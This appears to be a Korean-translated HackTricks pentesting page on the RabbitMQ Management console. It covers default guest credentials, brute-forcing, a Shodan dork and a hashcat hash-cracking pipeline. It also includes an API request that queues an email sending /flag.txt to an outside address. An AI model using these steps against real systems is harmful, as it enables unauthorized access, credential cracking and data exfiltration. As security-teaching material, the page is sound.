15672 - Pentesting RabbitMQ Management

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Basic Information

RabbitMQ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ 5671,5672 - Pentesting AMQP์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ํฌํŠธ์—์„œ๋Š” management plugin์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด RabbitMQ Management ์›น ์ฝ˜์†”์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋ฉ”์ธ ํŽ˜์ด์ง€๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค:

Enumeration

๊ธฐ๋ณธ ์ž๊ฒฉ ์ฆ๋ช…์€ โ€œguestโ€:โ€œguestโ€œ์ž…๋‹ˆ๋‹ค. ์ž‘๋™ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ ๋กœ๊ทธ์ธ์— ๋Œ€ํ•œ ๋ธŒ๋ฃจํŠธ ํฌ์Šค๋ฅผ ์‹œ๋„ํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๋ชจ๋“ˆ์„ ์ˆ˜๋™์œผ๋กœ ์‹œ์ž‘ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart

ํ•œ ๋ฒˆ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ธ์ฆํ•˜๋ฉด ๊ด€๋ฆฌ ์ฝ˜์†”์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๋˜ํ•œ, ์œ ํšจํ•œ ์ž๊ฒฉ ์ฆ๋ช…์ด ์žˆ๋Š” ๊ฒฝ์šฐ http://localhost:15672/api/connections์˜ ์ •๋ณด๊ฐ€ ํฅ๋ฏธ๋กœ์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ ์ด ์„œ๋น„์Šค์˜ API๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์š”์ฒญ์œผ๋กœ ํ ์•ˆ์— ๋ฐ์ดํ„ฐ๋ฅผ ๊ฒŒ์‹œํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267

{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}

ํ•ด์‹œ ํฌ๋ž˜ํ‚น

echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist

Shodan

  • port:15672 http

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

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